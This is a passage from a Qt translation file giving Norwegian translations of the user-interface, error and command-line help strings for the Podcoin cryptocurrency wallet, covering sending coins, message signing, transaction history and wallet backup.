<source>Estimated total blocks</source> <translation>Estimert totalt antall blokker</translation> </message> <message> <location line="+23"/> <source>Last block time</source> <translation>Tidspunkt for siste blokk</translation> </message> <message> <location line="+52"/> <source>&amp;Open</source> <translation>&amp;Åpne</translation> </message> <message> <location line="+16"/> <source>Command-line options</source> <translation>Kommandolinjevalg</translation> </message> <message> <location line="+7"/> <source>Show the Podcoin-Qt help message to get a list with possible Podcoin command-line options.</source> <translation>Vis Podcoin-Qt hjelpemelding for å få en liste med mulige kommandolinjevalg.</translation> </message> <message> <location line="+3"/> <source>&amp;Show</source> <translation>&amp;Vis</translation> </message> <message> <location line="+24"/> <source>&amp;Console</source> <translation>&amp;Konsoll</translation> </message> <message> <location line="-260"/> <source>Build date</source> <translation>Byggedato</translation> </message> <message> <location line="-104"/> <source>Podcoin - Debug window</source> <translation>Podcoin - vindu for feilsøk</translation> </message> <message> <location line="+25"/> <source>Podcoin Core</source> <translation>Podcoin Kjerne</translation> </message> <message> <location line="+279"/> <source>Debug log file</source> <translation>Loggfil for feilsøk</translation> </message> <message> <location line="+7"/> <source>Open the Podcoin debug log file from the current data directory. This can take a few seconds for large log files.</source> <translation>Åpne Podcoin loggfil for feilsøk fra datamappen. Dette kan ta noen sekunder for store loggfiler.</translation> </message> <message> <location line="+102"/> <source>Clear console</source> <translation>Tøm konsoll</translation> </message> <message> <location filename="../rpcconsole.cpp" line="-30"/> <source>Welcome to the Podcoin RPC console.</source> <translation>Velkommen til Podcoin RPC konsoll.</translation> </message> <message> <location line="+1"/> <source>Use up and down arrows to navigate history, and &lt;b&gt;Ctrl-L&lt;/b&gt; to clear screen.</source> <translation>Bruk opp og ned pil for å navigere historikken, og &lt;b&gt;Ctrl-L&lt;/b&gt; for å tømme skjermen.</translation> </message> <message> <location line="+1"/> <source>Type &lt;b&gt;help&lt;/b&gt; for an overview of available commands.</source> <translation>Skriv &lt;b&gt;help&lt;/b&gt; for en oversikt over kommandoer.</translation> </message> </context> <context> <name>SendCoinsDialog</name> <message> <location filename="../forms/sendcoinsdialog.ui" line="+14"/> <location filename="../sendcoinsdialog.cpp" line="+124"/> <location line="+5"/> <location line="+5"/> <location line="+5"/> <location line="+6"/> <location line="+5"/> <location line="+5"/> <source>Send Coins</source> <translation>Send Podcoins</translation> </message> <message> <location line="+50"/> <source>Send to multiple recipients at once</source> <translation>Send til flere enn én mottaker</translation> </message> <message> <location line="+3"/> <source>Add &amp;Recipient</source> <translation>&amp;Legg til Mottaker</translation> </message> <message> <location line="+20"/> <source>Remove all transaction fields</source> <translation>Fjern alle transaksjonsfelter</translation> </message> <message> <location line="+3"/> <source>Clear &amp;All</source> <translation>Fjern &amp;Alt</translation> </message> <message> <location line="+22"/> <source>Balance:</source> <translation>Saldo:</translation> </message> <message> <location line="+10"/> <source>123.456 BTC</source> <translation>123.456 BTC</translation> </message> <message> <location line="+31"/> <source>Confirm the send action</source> <translation>Bekreft sending</translation> </message> <message> <location line="+3"/> <source>S&amp;end</source> <translation>S&amp;end</translation> </message> <message> <location filename="../sendcoinsdialog.cpp" line="-59"/> <source>&lt;b&gt;%1&lt;/b&gt; to %2 (%3)</source> <translation>&lt;b&gt;%1&lt;/b&gt; til %2 (%3)</translation> </message> <message> <location line="+5"/> <source>Confirm send coins</source> <translation>Bekreft sending av podcoins</translation> </message> <message> <location line="+1"/> <source>Are you sure you want to send %1?</source> <translation>Er du sikker på at du vil sende %1?</translation> </message> <message> <location line="+0"/> <source> and </source> <translation> og </translation> </message> <message> <location line="+23"/> <source>The recipient address is not valid, please recheck.</source> <translation>Adresse for mottaker er ugyldig.</translation> </message> <message> <location line="+5"/> <source>The amount to pay must be larger than 0.</source> <translation>Beløpen som skal betales må være over 0.</translation> </message> <message> <location line="+5"/> <source>The amount exceeds your balance.</source> <translation>Beløpet overstiger saldo.</translation> </message> <message> <location line="+5"/> <source>The total exceeds your balance when the %1 transaction fee is included.</source> <translation>Totalbeløpet overstiger saldo etter at %1 transaksjonsgebyr er lagt til.</translation> </message> <message> <location line="+6"/> <source>Duplicate address found, can only send to each address once per send operation.</source> <translation>Duplikate adresser funnet. Kan bare sende én gang til hver adresse per operasjon.</translation> </message> <message> <location line="+5"/> <source>Error: Transaction creation failed!</source> <translation>Feil: Opprettelse av transaksjon feilet </translation> </message> <message> <location line="+5"/> <source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source> <translation>Feil: Transaksjonen ble avvist. Dette kan skje om noe av beløpet allerede var brukt, f.eks. hvis du kopierte wallet.dat og noen podcoins ble brukt i kopien men ikke ble markert som brukt her.</translation> </message> </context> <context> <name>SendCoinsEntry</name> <message> <location filename="../forms/sendcoinsentry.ui" line="+14"/> <source>Form</source> <translation>Skjema</translation> </message> <message> <location line="+15"/> <source>A&amp;mount:</source> <translation>&amp;Beløp:</translation> </message> <message> <location line="+13"/> <source>Pay &amp;To:</source> <translation>Betal &amp;Til:</translation> </message> <message> <location line="+34"/> <source>The address to send the payment to (e.g. Ler4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation>Adressen betalingen skal sendes til (f.eks. Ler4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)</translation> </message> <message> <location line="+60"/> <location filename="../sendcoinsentry.cpp" line="+26"/> <source>Enter a label for this address to add it to your address book</source> <translation>Skriv inn en merkelapp for denne adressen for å legge den til i din adressebok</translation> </message> <message> <location line="-78"/> <source>&amp;Label:</source> <translation>&amp;Merkelapp:</translation> </message> <message> <location line="+28"/> <source>Choose address from address book</source> <translation>Velg adresse fra adresseboken</translation> </message> <message> <location line="+10"/> <source>Alt+A</source> <translation>Alt+A</translation> </message> <message> <location line="+7"/> <source>Paste address from clipboard</source> <translation>Lim inn adresse fra utklippstavlen</translation> </message> <message> <location line="+10"/> <source>Alt+P</source> <translation>Alt+P</translation> </message> <message> <location line="+7"/> <source>Remove this recipient</source> <translation>Fjern denne mottakeren</translation> </message> <message> <location filename="../sendcoinsentry.cpp" line="+1"/> <source>Enter a Podcoin address (e.g. Ler4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation>Skriv inn en Podcoin adresse (f.eks. Ler4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)</translation> </message> </context> <context> <name>SignVerifyMessageDialog</name> <message> <location filename="../forms/signverifymessagedialog.ui" line="+14"/> <source>Signatures - Sign / Verify a Message</source> <translation>Signaturer - Signer / Verifiser en melding</translation> </message> <message> <location line="+13"/> <source>&amp;Sign Message</source> <translation>&amp;Signér Melding</translation> </message> <message> <location line="+6"/> <source>You can sign messages with your addresses to prove you own them. Be careful not to sign anything vague, as phishing attacks may try to trick you into signing your identity over to them. Only sign fully-detailed statements you agree to.</source> <translation>Du kan signere meldinger med dine adresser for å bevise at du eier dem. Ikke signér vage meldinger da phishing-angrep kan prøve å lure deg til å signere din identitet over til andre. Signér kun fullt detaljerte utsagn som du er enig i.</translation> </message> <message> <location line="+18"/> <source>The address to sign the message with (e.g. Ler4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation>Adressen for signering av meldingen (f.eks. Ler4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)</translation> </message> <message> <location line="+10"/> <location line="+213"/> <source>Choose an address from the address book</source> <translation>Velg en adresse fra adresseboken</translation> </message> <message> <location line="-203"/> <location line="+213"/> <source>Alt+A</source> <translation>Alt+A</translation> </message> <message> <location line="-203"/> <source>Paste address from clipboard</source> <translation>Lim inn adresse fra utklippstavlen</translation> </message> <message> <location line="+10"/> <source>Alt+P</source> <translation>Alt+P</translation> </message> <message> <location line="+12"/> <source>Enter the message you want to sign here</source> <translation>Skriv inn meldingen du vil signere her</translation> </message> <message> <location line="+7"/> <source>Signature</source> <translation type="unfinished"/> </message> <message> <location line="+27"/> <source>Copy the current signature to the system clipboard</source> <translation>Kopier valgt signatur til utklippstavle</translation> </message> <message> <location line="+21"/> <source>Sign the message to prove you own this Podcoin address</source> <translation>Signer meldingen for å bevise at du eier denne Podcoin-adressen</translation> </message> <message> <location line="+3"/> <source>Sign &amp;Message</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>Reset all sign message fields</source> <translation>Tilbakestill alle felter for meldingssignering</translation> </message> <message> <location line="+3"/> <location line="+146"/> <source>Clear &amp;All</source> <translation>Fjern &amp;Alt</translation> </message> <message> <location line="-87"/> <source>&amp;Verify Message</source> <translation>&amp;Verifiser Melding</translation> </message> <message> <location line="+6"/> <source>Enter the signing address, message (ensure you copy line breaks, spaces, tabs, etc. exactly) and signature below to verify the message. Be careful not to read more into the signature than what is in the signed message itself, to avoid being tricked by a man-in-the-middle attack.</source> <translation>Angi adresse for signering, melding (vær sikker på at du kopierer linjeskift, mellomrom, tab, etc. helt nøyaktig) og signatur under for å verifisere meldingen. Vær forsiktig med at du ikke gir signaturen mer betydning enn det som faktisk står i meldingen, for å unngå å bli lurt av såkalte &quot;man-in-the-middle&quot; angrep.</translation> </message> <message> <location line="+21"/> <source>The address the message was signed with (e.g. Ler4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation>Adressen meldingen var signert med (f.eks. Ler4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)</translation> </message> <message> <location line="+40"/> <source>Verify the message to ensure it was signed with the specified Podcoin address</source> <translation>Verifiser meldingen for å være sikker på at den ble signert av den angitte Podcoin-adressen</translation> </message> <message> <location line="+3"/> <source>Verify &amp;Message</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>Reset all verify message fields</source> <translation>Tilbakestill alle felter for meldingsverifikasjon</translation> </message> <message> <location filename="../signverifymessagedialog.cpp" line="+27"/> <location line="+3"/> <source>Enter a Podcoin address (e.g. Ler4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation>Skriv inn en Podcoin adresse (f.eks. Ler4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)</translation> </message> <message> <location line="-2"/> <source>Click &quot;Sign Message&quot; to generate signature</source> <translation>Klikk &quot;Signer Melding&quot; for å generere signatur</translation> </message> <message> <location line="+3"/> <source>Enter Podcoin signature</source> <translation>Angi Podcoin signatur</translation> </message> <message> <location line="+82"/> <location line="+81"/> <source>The entered address is invalid.</source> <translation>Angitt adresse er ugyldig.</translation> </message> <message> <location line="-81"/> <location line="+8"/> <location line="+73"/> <location line="+8"/> <source>Please check the address and try again.</source> <translation>Vennligst sjekk adressen og prøv igjen.</translation> </message> <message> <location line="-81"/> <location line="+81"/> <source>The entered address does not refer to a key.</source> <translation>Angitt adresse refererer ikke til en nøkkel.</translation> </message> <message> <location line="-73"/> <source>Wallet unlock was cancelled.</source> <translation>Opplåsing av lommebok ble avbrutt.</translation> </message> <message> <location line="+8"/> <source>Private key for the entered address is not available.</source> <translation>Privat nøkkel for den angitte adressen er ikke tilgjengelig.</translation> </message> <message> <location line="+12"/> <source>Message signing failed.</source> <translation>Signering av melding feilet.</translation> </message> <message> <location line="+5"/> <source>Message signed.</source> <translation>Melding signert.</translation> </message> <message> <location line="+59"/> <source>The signature could not be decoded.</source> <translation>Signaturen kunne ikke dekodes.</translation> </message> <message> <location line="+0"/> <location line="+13"/> <source>Please check the signature and try again.</source> <translation>Vennligst sjekk signaturen og prøv igjen.</translation> </message> <message> <location line="+0"/> <source>The signature did not match the message digest.</source> <translation>Signaturen passer ikke til meldingen.</translation> </message> <message> <location line="+7"/> <source>Message verification failed.</source> <translation>Verifikasjon av melding feilet.</translation> </message> <message> <location line="+5"/> <source>Message verified.</source> <translation>Melding verifisert.</translation> </message> </context> <context> <name>SplashScreen</name> <message> <location filename="../splashscreen.cpp" line="+22"/> <source>The Podcoin developers</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>[testnet]</source> <translation>[testnett]</translation> </message> </context> <context> <name>TransactionDesc</name> <message> <location filename="../transactiondesc.cpp" line="+20"/> <source>Open until %1</source> <translation>Åpen til %1</translation> </message> <message> <location line="+6"/> <source>%1/offline</source> <translation>%1/frakoblet</translation> </message> <message> <location line="+2"/> <source>%1/unconfirmed</source> <translation>%1/ubekreftet</translation> </message> <message> <location line="+2"/> <source>%1 confirmations</source> <translation>%1 bekreftelser</translation> </message> <message> <location line="+18"/> <source>Status</source> <translation>Status</translation> </message> <message numerus="yes"> <location line="+7"/> <source>, broadcast through %n node(s)</source> <translation><numerusform>, kringkast gjennom %n node</numerusform><numerusform>, kringkast gjennom %n noder</numerusform></translation> </message> <message> <location line="+4"/> <source>Date</source> <translation>Dato</translation> </message> <message> <location line="+7"/> <source>Source</source> <translation>Kilde</translation> </message> <message> <location line="+0"/> <source>Generated</source> <translation>Generert</translation> </message> <message> <location line="+5"/> <location line="+17"/> <source>From</source> <translation>Fra</translation> </message> <message> <location line="+1"/> <location line="+22"/> <location line="+58"/> <source>To</source> <translation>Til</translation> </message> <message> <location line="-77"/> <location line="+2"/> <source>own address</source> <translation>egen adresse</translation> </message> <message> <location line="-2"/> <source>label</source> <translation>merkelapp</translation> </message> <message> <location line="+37"/> <location line="+12"/> <location line="+45"/> <location line="+17"/> <location line="+30"/> <source>Credit</source> <translation>Kredit</translation> </message> <message numerus="yes"> <location line="-102"/> <source>matures in %n more block(s)</source> <translation><numerusform>blir moden om %n blokk</numerusform><numerusform>blir moden om %n blokker</numerusform></translation> </message> <message> <location line="+2"/> <source>not accepted</source> <translation>ikke akseptert</translation> </message> <message> <location line="+44"/> <location line="+8"/> <location line="+15"/> <location line="+30"/> <source>Debit</source> <translation>Debet</translation> </message> <message> <location line="-39"/> <source>Transaction fee</source> <translation>Transaksjonsgebyr</translation> </message> <message> <location line="+16"/> <source>Net amount</source> <translation>Nettobeløp</translation> </message> <message> <location line="+6"/> <source>Message</source> <translation>Melding</translation> </message> <message> <location line="+2"/> <source>Comment</source> <translation>Kommentar</translation> </message> <message> <location line="+2"/> <source>Transaction ID</source> <translation>Transaksjons-ID</translation> </message> <message> <location line="+3"/> <source>Generated coins must mature 120 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to &quot;not accepted&quot; and it won&apos;t be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.</source> <translation>Genererte podcoins må modnes 120 blokker før de kan brukes. Da du genererte denne blokken ble den kringkastet til nettverket for å legges til i blokkjeden. Hvis den ikke kommer inn i kjeden får den tilstanden &quot;ikke akseptert&quot; og vil ikke kunne brukes. Dette skjer noen ganger hvis en annen node genererer en blokk noen sekunder fra din.</translation> </message> <message> <location line="+7"/> <source>Debug information</source> <translation>Informasjon for feilsøk</translation> </message> <message> <location line="+8"/> <source>Transaction</source> <translation>Transaksjon</translation> </message> <message> <location line="+3"/> <source>Inputs</source> <translation>Inndata</translation> </message> <message> <location line="+23"/> <source>Amount</source> <translation>Beløp</translation> </message> <message> <location line="+1"/> <source>true</source> <translation>sann</translation> </message> <message> <location line="+0"/> <source>false</source> <translation>usann</translation> </message> <message> <location line="-209"/> <source>, has not been successfully broadcast yet</source> <translation>, har ikke blitt kringkastet uten problemer enda.</translation> </message> <message numerus="yes"> <location line="-35"/> <source>Open for %n more block(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+70"/> <source>unknown</source> <translation>ukjent</translation> </message> </context> <context> <name>TransactionDescDialog</name> <message> <location filename="../forms/transactiondescdialog.ui" line="+14"/> <source>Transaction details</source> <translation>Transaksjonsdetaljer</translation> </message> <message> <location line="+6"/> <source>This pane shows a detailed description of the transaction</source> <translation>Her vises en detaljert beskrivelse av transaksjonen</translation> </message> </context> <context> <name>TransactionTableModel</name> <message> <location filename="../transactiontablemodel.cpp" line="+225"/> <source>Date</source> <translation>Dato</translation> </message> <message> <location line="+0"/> <source>Type</source> <translation>Type</translation> </message> <message> <location line="+0"/> <source>Address</source> <translation>Adresse</translation> </message> <message> <location line="+0"/> <source>Amount</source> <translation>Beløp</translation> </message> <message numerus="yes"> <location line="+57"/> <source>Open for %n more block(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+3"/> <source>Open until %1</source> <translation>Åpen til %1</translation> </message> <message> <location line="+3"/> <source>Offline (%1 confirmations)</source> <translation>Frakoblet (%1 bekreftelser)</translation> </message> <message> <location line="+3"/> <source>Unconfirmed (%1 of %2 confirmations)</source> <translation>Ubekreftet (%1 av %2 bekreftelser)</translation> </message> <message> <location line="+3"/> <source>Confirmed (%1 confirmations)</source> <translation>Bekreftet (%1 bekreftelser)</translation> </message> <message numerus="yes"> <location line="+8"/> <source>Mined balance will be available when it matures in %n more block(s)</source> <translation><numerusform>Minet saldo blir tilgjengelig når den modner om %n blokk</numerusform><numerusform>Minet saldo blir tilgjengelig når den modner om %n blokker</numerusform></translation> </message> <message> <location line="+5"/> <source>This block was not received by any other nodes and will probably not be accepted!</source> <translation>Denne blokken har ikke blitt mottatt av noen andre noder og vil sannsynligvis ikke bli akseptert!</translation> </message> <message> <location line="+3"/> <source>Generated but not accepted</source> <translation>Generert men ikke akseptert</translation> </message> <message> <location line="+43"/> <source>Received with</source> <translation>Mottatt med</translation> </message> <message> <location line="+2"/> <source>Received from</source> <translation>Mottatt fra</translation> </message> <message> <location line="+3"/> <source>Sent to</source> <translation>Sendt til</translation> </message> <message> <location line="+2"/> <source>Payment to yourself</source> <translation>Betaling til deg selv</translation> </message> <message> <location line="+2"/> <source>Mined</source> <translation>Utvunnet</translation> </message> <message> <location line="+38"/> <source>(n/a)</source> <translation>-</translation> </message> <message> <location line="+199"/> <source>Transaction status. Hover over this field to show number of confirmations.</source> <translation>Transaksjonsstatus. Hold muspekeren over dette feltet for å se antall bekreftelser.</translation> </message> <message> <location line="+2"/> <source>Date and time that the transaction was received.</source> <translation>Dato og tid for da transaksjonen ble mottat.</translation> </message> <message> <location line="+2"/> <source>Type of transaction.</source> <translation>Type transaksjon.</translation> </message> <message> <location line="+2"/> <source>Destination address of transaction.</source> <translation>Mottaksadresse for transaksjonen</translation> </message> <message> <location line="+2"/> <source>Amount removed from or added to balance.</source> <translation>Beløp fjernet eller lagt til saldo.</translation> </message> </context> <context> <name>TransactionView</name> <message> <location filename="../transactionview.cpp" line="+52"/> <location line="+16"/> <source>All</source> <translation>Alle</translation> </message> <message> <location line="-15"/> <source>Today</source> <translation>I dag</translation> </message> <message> <location line="+1"/> <source>This week</source> <translation>Denne uken</translation> </message> <message> <location line="+1"/> <source>This month</source> <translation>Denne måneden</translation> </message> <message> <location line="+1"/> <source>Last month</source> <translation>Forrige måned</translation> </message> <message> <location line="+1"/> <source>This year</source> <translation>Dette året</translation> </message> <message> <location line="+1"/> <source>Range...</source> <translation>Intervall...</translation> </message> <message> <location line="+11"/> <source>Received with</source> <translation>Mottatt med</translation> </message> <message> <location line="+2"/> <source>Sent to</source> <translation>Sendt til</translation> </message> <message> <location line="+2"/> <source>To yourself</source> <translation>Til deg selv</translation> </message> <message> <location line="+1"/> <source>Mined</source> <translation>Utvunnet</translation> </message> <message> <location line="+1"/> <source>Other</source> <translation>Andre</translation> </message> <message> <location line="+7"/> <source>Enter address or label to search</source> <translation>Skriv inn adresse eller merkelapp for søk</translation> </message> <message> <location line="+7"/> <source>Min amount</source> <translation>Minimumsbeløp</translation> </message> <message> <location line="+34"/> <source>Copy address</source> <translation>Kopier adresse</translation> </message> <message> <location line="+1"/> <source>Copy label</source> <translation>Kopier merkelapp</translation> </message> <message> <location line="+1"/> <source>Copy amount</source> <translation>Kopiér beløp</translation> </message> <message> <location line="+1"/> <source>Copy transaction ID</source> <translation>Kopier transaksjons-ID</translation> </message> <message> <location line="+1"/> <source>Edit label</source> <translation>Rediger merkelapp</translation> </message> <message> <location line="+1"/> <source>Show transaction details</source> <translation>Vis transaksjonsdetaljer</translation> </message> <message> <location line="+139"/> <source>Export Transaction Data</source> <translation>Eksporter transaksjonsdata</translation> </message> <message> <location line="+1"/> <source>Comma separated file (*.csv)</source> <translation>Kommaseparert fil (*.csv)</translation> </message> <message> <location line="+8"/> <source>Confirmed</source> <translation>Bekreftet</translation> </message> <message> <location line="+1"/> <source>Date</source> <translation>Dato</translation> </message> <message> <location line="+1"/> <source>Type</source> <translation>Type</translation> </message> <message> <location line="+1"/> <source>Label</source> <translation>Merkelapp</translation> </message> <message> <location line="+1"/> <source>Address</source> <translation>Adresse</translation> </message> <message> <location line="+1"/> <source>Amount</source> <translation>Beløp</translation> </message> <message> <location line="+1"/> <source>ID</source> <translation>ID</translation> </message> <message> <location line="+4"/> <source>Error exporting</source> <translation>Feil ved eksport</translation> </message> <message> <location line="+0"/> <source>Could not write to file %1.</source> <translation>Kunne ikke skrive til filen %1.</translation> </message> <message> <location line="+100"/> <source>Range:</source> <translation>Intervall:</translation> </message> <message> <location line="+8"/> <source>to</source> <translation>til</translation> </message> </context> <context> <name>WalletModel</name> <message> <location filename="../walletmodel.cpp" line="+193"/> <source>Send Coins</source> <translation>Send Podcoins</translation> </message> </context> <context> <name>WalletView</name> <message> <location filename="../walletview.cpp" line="+42"/> <source>&amp;Export</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Export the data in the current tab to a file</source> <translation>Eksporter data fra nåværende fane til fil</translation> </message> <message> <location line="+193"/> <source>Backup Wallet</source> <translation>Sikkerhetskopier lommebok</translation> </message> <message> <location line="+0"/> <source>Wallet Data (*.dat)</source> <translation>Lommebokdata (*.dat)</translation> </message> <message> <location line="+3"/> <source>Backup Failed</source> <translation>Sikkerhetskopiering feilet</translation> </message> <message> <location line="+0"/> <source>There was an error trying to save the wallet data to the new location.</source> <translation>En feil oppstod under lagringen av lommeboken til den nye plasseringen.</translation> </message> <message> <location line="+4"/> <source>Backup Successful</source> <translation>Sikkerhetskopiering fullført</translation> </message> <message> <location line="+0"/> <source>The wallet data was successfully saved to the new location.</source> <translation>Lommebokdata ble lagret til den nye plasseringen. </translation> </message> </context> <context> <name>bitcoin-core</name> <message> <location filename="../bitcoinstrings.cpp" line="+94"/> <source>Podcoin version</source> <translation>Podcoin versjon</translation> </message> <message> <location line="+102"/> <source>Usage:</source> <translation>Bruk:</translation> </message> <message> <location line="-29"/> <source>Send command to -server or podcoind</source> <translation>Send kommando til -server eller podcoind</translation> </message> <message> <location line="-23"/> <source>List commands</source> <translation>List opp kommandoer</translation> </message> <message> <location line="-12"/> <source>Get help for a command</source> <translation>Vis hjelpetekst for en kommando</translation> </message> <message> <location line="+24"/> <source>Options:</source> <translation>Innstillinger:</translation> </message> <message> <location line="+24"/> <source>Specify configuration file (default: podcoin.conf)</source> <translation>Angi konfigurasjonsfil (standardverdi: podcoin.conf)</translation> </message> <message> <location line="+3"/> <source>Specify pid file (default: podcoind.pid)</source> <translation>Angi pid-fil (standardverdi: podcoind.pid)</translation> </message> <message> <location line="-1"/> <source>Specify data directory</source> <translation>Angi mappe for datafiler</translation> </message> <message> <location line="-9"/> <source>Set database cache size in megabytes (default: 25)</source> <translation>Sett størrelse på mellomlager for database i megabytes (standardverdi: 25)</translation> </message> <message> <location line="-28"/> <source>Listen for connections on &lt;port&gt; (default: 9333 or testnet: 19333)</source> <translation>Lytt etter tilkoblinger på &lt;port&gt; (standardverdi: 9333 eller testnet: 19333)</translation> </message> <message> <location line="+5"/> <source>Maintain at most &lt;n&gt; connections to peers (default: 125)</source> <translation>Hold maks &lt;n&gt; koblinger åpne til andre noder (standardverdi: 125)</translation> </message> <message> <location line="-48"/> <source>Connect to a node to retrieve peer addresses, and disconnect</source> <translation>Koble til node for å hente adresser til andre noder, koble så fra igjen</translation> </message> <message> <location line="+82"/> <source>Specify your own public address</source> <translation>Angi din egen offentlige adresse</translation> </message> <message> <location line="+3"/> <source>Threshold for disconnecting misbehaving peers (default: 100)</source> <translation>Grenseverdi for å koble fra noder med dårlig oppførsel (standardverdi: 100)</translation> </message> <message> <location line="-134"/> <source>Number of seconds to keep misbehaving peers from reconnecting (default: 86400)</source> <translation>Antall sekunder noder med dårlig oppførsel hindres fra å koble til på nytt (standardverdi: 86400)</translation> </message> <message> <location line="-29"/> <source>An error occurred while setting up the RPC port %u for listening on IPv4: %s</source> <translation>En feil oppstod ved opprettelse av RPC port %u for lytting: %s</translation> </message> <message> <location line="+27"/> <source>Listen for JSON-RPC connections on &lt;port&gt; (default: 9552 or testnet: 19552)</source> <translation>Lytt etter JSON-RPC tilkoblinger på &lt;port&gt; (standardverdi: 9552 or testnet: 19552)</translation> </message> <message> <location line="+37"/> <source>Accept command line and JSON-RPC commands</source> <translation>Ta imot kommandolinje- og JSON-RPC-kommandoer</translation> </message> <message> <location line="+76"/> <source>Run in the background as a daemon and accept commands</source> <translation>Kjør i bakgrunnen som daemon og ta imot kommandoer</translation> </message> <message> <location line="+37"/> <source>Use the test network</source> <translation>Bruk testnettverket</translation> </message> <message> <location line="-112"/> <source>Accept connections from outside (default: 1 if no -proxy or -connect)</source> <translation>Ta imot tilkoblinger fra utsiden (standardverdi: 1 hvis uten -proxy eller -connect)</translation> </message> <message> <location line="-80"/> <source>%s, you must set a rpcpassword in the configuration file: %s It is recommended you use the following random password: rpcuser=podcoinrpc rpcpassword=%s (you do not need to remember this password) The username and password MUST NOT be the same. If the file does not exist, create it with owner-readable-only file permissions. It is also recommended to set alertnotify so you are notified of problems; for example: alertnotify=echo %%s | mail -s &quot;Podcoin Alert&quot; admin@foo.com </source> <translation>%s, du må angi rpcpassord i konfigurasjonsfilen. %s Det anbefales at du bruker det følgende tilfeldige passordet: rpcbruker=podcoinrpc rpcpassord=%s (du behøver ikke å huske passordet) Brukernavnet og passordet MÅ IKKE være like. Om filen ikke eksisterer, opprett den nå med eier-kun-les filrettigheter. Det er også anbefalt at å sette varselsmelding slik du får melding om problemer. For eksempel: varselmelding=echo %%s | mail -s &quot;Podcoin varsel&quot; admin@foo.com</translation> </message> <message> <location line="+17"/> <source>An error occurred while setting up the RPC port %u for listening on IPv6, falling back to IPv4: %s</source> <translation>En feil oppstod under oppsettet av RPC port %u for IPv6, tilbakestilles til IPv4: %s</translation> </message> <message> <location line="+3"/> <source>Bind to given address and always listen on it. Use [host]:port notation for IPv6</source> <translation>Bind til angitt adresse. Bruk [vertsmaskin]:port notasjon for IPv6</translation> </message> <message> <location line="+3"/> <source>Cannot obtain a lock on data directory %s. Podcoin is probably already running.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Error: The transaction was rejected! This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds!</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Execute command when a relevant alert is received (%s in cmd is replaced by message)</source> <translation>Kjør kommando når relevant varsel blir mottatt (%s i cmd er erstattet med TxID)</translation> </message> <message> <location line="+3"/> <source>Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)</source> <translation>Kjør kommando når en lommeboktransaksjon endres (%s i cmd er erstattet med TxID)</translation> </message> <message> <location line="+11"/> <source>Set maximum size of high-priority/low-fee transactions in bytes (default: 27000)</source> <translation>Sett maks størrelse for transaksjoner med høy prioritet / lavt gebyr, i bytes (standardverdi: 27000)</translation> </message> <message> <location line="+6"/> <source>This is a pre-release test build - use at your own risk - do not use for mining or merchant applications</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Warning: -paytxfee is set very high! This is the transaction fee you will pay if you send a transaction.</source> <translation>Advarsel: -paytxfee er satt veldig høyt! Dette er transaksjonsgebyret du betaler når du sender transaksjoner.</translation> </message> <message> <location line="+3"/> <source>Warning: Displayed transactions may not be correct! You may need to upgrade, or other nodes may need to upgrade.</source> <translation>Advarsel: Viste transaksjoner kan være feil! Du, eller andre noder, kan trenge en oppgradering.</translation> </message> <message> <location line="+3"/> <source>Warning: Please check that your computer&apos;s date and time are correct! If your clock is wrong Podcoin will not work properly.</source> <translation>Advarsel: Vennligst undersøk at din datamaskin har riktig dato og klokkeslett! Hvis klokken er stilt feil vil ikke Podcoin fungere riktig.</translation> </message> <message> <location line="+3"/> <source>Warning: error reading wallet.dat! All keys read correctly, but transaction data or address book entries might be missing or incorrect.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect you should restore from a backup.</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>Attempt to recover private keys from a corrupt wallet.dat</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Block creation options:</source> <translation>Valg for opprettelse av blokker:</translation> </message> <message> <location line="+5"/> <source>Connect only to the specified node(s)</source> <translation>Koble kun til angitt(e) node(r)</translation> </message> <message> <location line="+3"/> <source>Corrupted block database detected</source> <translation>Oppdaget korrupt blokkdatabase</translation> </message> <message> <location line="+1"/> <source>Discover own IP address (default: 1 when listening and no -externalip)</source> <translation>Oppdag egen IP-adresse (standardverdi: 1 ved lytting og uten -externalip)</translation> </message> <message> <location line="+1"/> <source>Do you want to rebuild the block database now?</source> <translation>Ønsker du å gjenopprette blokkdatabasen nå?</translation> </message> <message> <location line="+2"/> <source>Error initializing block database</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Error initializing wallet database environment %s!</source> <translation>Feil under oppstart av lommebokdatabasemiljø %s!</translation> </message> <message> <location line="+1"/> <source>Error loading block database</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Error opening block database</source> <translation>Feil under åpning av blokkdatabase</translation> </message> <message> <location line="+2"/> <source>Error: Disk space is low!</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Error: 